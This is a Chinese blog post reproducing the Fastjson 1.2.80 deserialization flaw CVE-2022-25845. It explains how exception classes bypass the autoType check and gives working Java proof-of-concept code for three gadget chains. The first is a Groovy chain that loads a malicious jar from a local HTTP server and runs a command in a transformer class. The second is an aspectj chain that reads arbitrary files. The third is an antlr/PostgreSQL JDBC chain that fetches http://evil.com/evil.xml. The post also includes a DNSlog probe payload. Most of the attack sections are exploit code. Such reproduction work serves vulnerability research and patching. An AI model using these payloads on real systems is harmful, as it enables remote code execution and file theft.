Fastjson CVE-2022-25845 漏洞复现

Fastjson CVE-2022-25845 漏洞复现

1. 说明

Fastjson于5月23日,在commit 560782ccommit 097bff1中更新了security_update_20220523的修复方案。调整黑白名单的同时额外判断了Exception,并在添加类缓存mappings前新增了autoTypeSupport的判断。

显而易见Exception的派生类中出了叛徒,不久后fastjson-blacklist更新了黑名单类名,直到前几天漏洞作者iSafeBlue公开了思路与Gadgets,本文是对浅蓝师傅给出的提示的进行复现与记录。

1.2.80第一步依然是基于众所周知的期望类机制将其它类加入类缓存,关键在于怎么横向出Exception之外的其它类型。

Fastjson反序列化恢复类实例时,自然也需要恢复用到了的类属性。如果这个属性是可利用的类且我们可控,是不是就能直接利用 或者进一步横向扩展出其它类间接利用。上一篇我们说到了期望类不但可以由JSON显式指定,同样可以由类间关系隐式确定,那么依靠属性名赋值时的隐式类间关系,也就不再需要在JSON中显式指定@type,从而绕过了autoType的白名单检查。

实例化类属性的对应类后,fastjson会将其加入到类缓存mappings中,从缓存中取类在修复前不会判断autoTypeSupport,所以绕过了类白名单机制扩展出更多的可用类。

2. 利用流程

  1. 指定显式期望类,实例化XXXException并被加入类缓存
  2. 通过XXXException中可控的属性名/参数名,由隐式类间关系实例化并被加入类缓存
  3. 直接从缓存中拿出来用,或者进一步递归让其它类被加入到缓存

第二步的重点在于,既然不能显示指定期望类,就只能依靠deserializer去自动处理,我们需要构造出让它解析时进到特定deserializer分支的特定格式。对此我提供一个aspectj读文件和groovy远程类加载的具体实现便于师傅们理解复现。更多Gadgets浅蓝师傅在Slides中写得很清楚了,可以自行构造。

 

浅蓝师傅公开了几个利用方式,个人认为groovy 的这条链最为常见。

3. fastjson1.2.80版本相关的探索

image-20220904110702522

相关的测试poc

      {
 "@type":"java.lang.Exception"
 "@type":"com.alibaba.fastjson.JSONException", 
 "x":{
    "@type":"java.net.InetSocketAddress"{"address":,"val":"7dok0ohg.dnslog.pw"}
  }
}
 

image-20220903230303704

4. 漏洞复现之Groovy链

  1. 漏洞原理

 

image-20220903224808975

image-20220903224904891

image-20220903225024944

  1. 具体的利用poc 代码如下:
    public class groovy {
    private static String poc1 = "{\n" +
            "    \"@type\":\"java.lang.Exception\",\n" +
            "    \"@type\":\"org.codehaus.groovy.control.CompilationFailedException\",\n" +
            "    \"unit\":{}\n" +
            "}";

    private static String poc2 = "{\n" +
            "    \"@type\":\"org.codehaus.groovy.control.ProcessingUnit\",\n" +
            "    \"@type\":\"org.codehaus.groovy.tools.javac.JavaStubCompilationUnit\",\n" +
            "    \"config\":{\n" +
            "        \"@type\":\"org.codehaus.groovy.control.CompilerConfiguration\",\n" +
            "        \"classpathList\":\"http://127.0.0.1:8000/attack.jar\"\n" +
            "    }\n" +
            "}";

    public static void main(String[] args) throws IOException {
        try {
            JSON.parseObject(poc1);
        } catch (Exception e){}

        JSON.parseObject(poc2);
    }

}
 
  1. 由于上述代码中需要使用到classpathList 这个,因此需要搭建一个恶意代码利用的服务器

先看下恶意执行的代码

import org.codehaus.groovy.ast.ASTNode;
import org.codehaus.groovy.control.CompilePhase;
import org.codehaus.groovy.control.SourceUnit;
import org.codehaus.groovy.transform.ASTTransformation;
import org.codehaus.groovy.transform.GroovyASTTransformation;

import java.io.IOException;

@GroovyASTTransformation(phase= CompilePhase.CONVERSION)
public class GrabAnnotationTransformation2 implements ASTTransformation {

    public GrabAnnotationTransformation2() {
        try {
            Runtime.getRuntime().exec("calc.exe");
        } catch (IOException e) {
        }
    }

    @Override
    public void visit(ASTNode[] nodes, SourceUnit source) {

    }
}
 
  • 先编译上述代码中的恶意代码,打成jar包
  • 利用python 启动一个简单http服务器

image-20220903191001580

  1. 执行上述POC代码:

image-20220903191111392

恶意代码执行成功。

5. 漏洞复现之--aspectj 文件读取

  1. 漏洞原理

    image-20220903223732097

调用链细节

image-20220903223841042

  1. 可以利用的poc
public class aspectj {
    private static String poc1 = "{\n" +
            "    \"@type\":\"java.lang.Exception\",\n" +
            "    \"@type\":\"org.aspectj.org.eclipse.jdt.internal.compiler.lookup.SourceTypeCollisionException\"\n" +
            "}";

    private static String poc2 = "{\n" +
            "    \"@type\":\"java.lang.Class\",\n" +
            "    \"val\":{\n" +
            "        \"@type\":\"java.lang.String\"{\n" +
            "        \"@type\":\"java.util.Locale\",\n" +
            "        \"val\":{\n" +
            "            \"@type\":\"com.alibaba.fastjson.JSONObject\",{\n" +
            "                \"@type\":\"java.lang.String\"\n" +
            "                \"@type\":\"org.aspectj.org.eclipse.jdt.internal.compiler.lookup.SourceTypeCollisionException\",\n" +
            "                \"newAnnotationProcessorUnits\":[{}]\n" +
            "            }\n" +
            "        }\n" +
            "    }";

    private static String poc3 = "{\n" +
            "    \"x\":{\n" +
            "        \"@type\":\"org.aspectj.org.eclipse.jdt.internal.compiler.env.ICompilationUnit\",\n" +
            "        \"@type\":\"org.aspectj.org.eclipse.jdt.internal.core.BasicCompilationUnit\",\n" +
            "        \"fileName\":\"F:/flag.txt\"\n" +
            "    }\n" +
            "}";

    public static void main(String[] args) {
        JSON.parseObject(poc1);
        try {
            JSON.parseObject(poc2);
        } catch (Exception e){}
        System.out.println(JSON.parseObject(poc3));
    }

}
 
  1. 创建一个文件供读取

image-20220903191945334

  1. RCE读取文件结果

image-20220903191853822

  1. 回显

    可以使用如下的dns回显的方式

    image-20220903224432748

6. 漏洞复现之--antlr

  1. 漏洞调用过程

image-20220903222355171

 

image-20220903223416251

image-20220903231304751

  1. 可用的poc

    一次执行如下的poc

        String poc1 =" { \n" +
                    "\t\"@type\":\"java.lang.Exception\",\n" +
                    "    \"@type\":\"org.python.antlr.ParseException\"\n" +
                    "}";
        }
        String poc2 = " { \n" +
                "\t\"@type\":\"java.util.Locale\",\n" +
                "    \"val\":\n" +
                "\t{\"@type\":\"com.alibaba.fastjson.JSONObject\",\n" +
                "\t {\"@type\":\"java.lang.Sting\"\"@type\":\"org.python.antlr.ParseException\",\"type\":\"{\\\"@type\\\":\\\"com.ziclix.python.sql.PyConnection\\\",\\\"connection\\\":{\\\"@type\\\\\\\":\\\"org.postgresql.jdbc.PgConnection\"}}\"}\n" +
                "\t }\n" +
                "}";
       String poc3 = "{\n" +
                "\t\"@type\":\"org.postgresql.jdbc.PgConnection\",\n" +
                "\t\"hostSpecs\":[{\"host\":\"jdbc_ip\",\"port\":jdbc_port}],\n" +
                "\t\"user\":\"user\",\n" +
                "\t\"database\":\"testdb\",\n" +
                "\t\"info\":{\"socketFactory\":\"org.springframework.context.support.ClassPathXmlApplicationContext\",\"socketFactoryArg\":\"http://evil.com/evil.xml\"},\n" +
                "\t\"url\":\"\"\n" +
                "}";
    
    
     

    evil.xml 需要替换成上图的形式。

    参考

    1、https://hosch3n.github.io/2022/09/01/Fastjson1-2-80%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/

    2、参考代码路径:https://github.com/Lonely-night/fastjsonVul

posted @ 2022-09-03 23:55  TT0TT  阅读(5247)  评论(1编辑  收藏  举报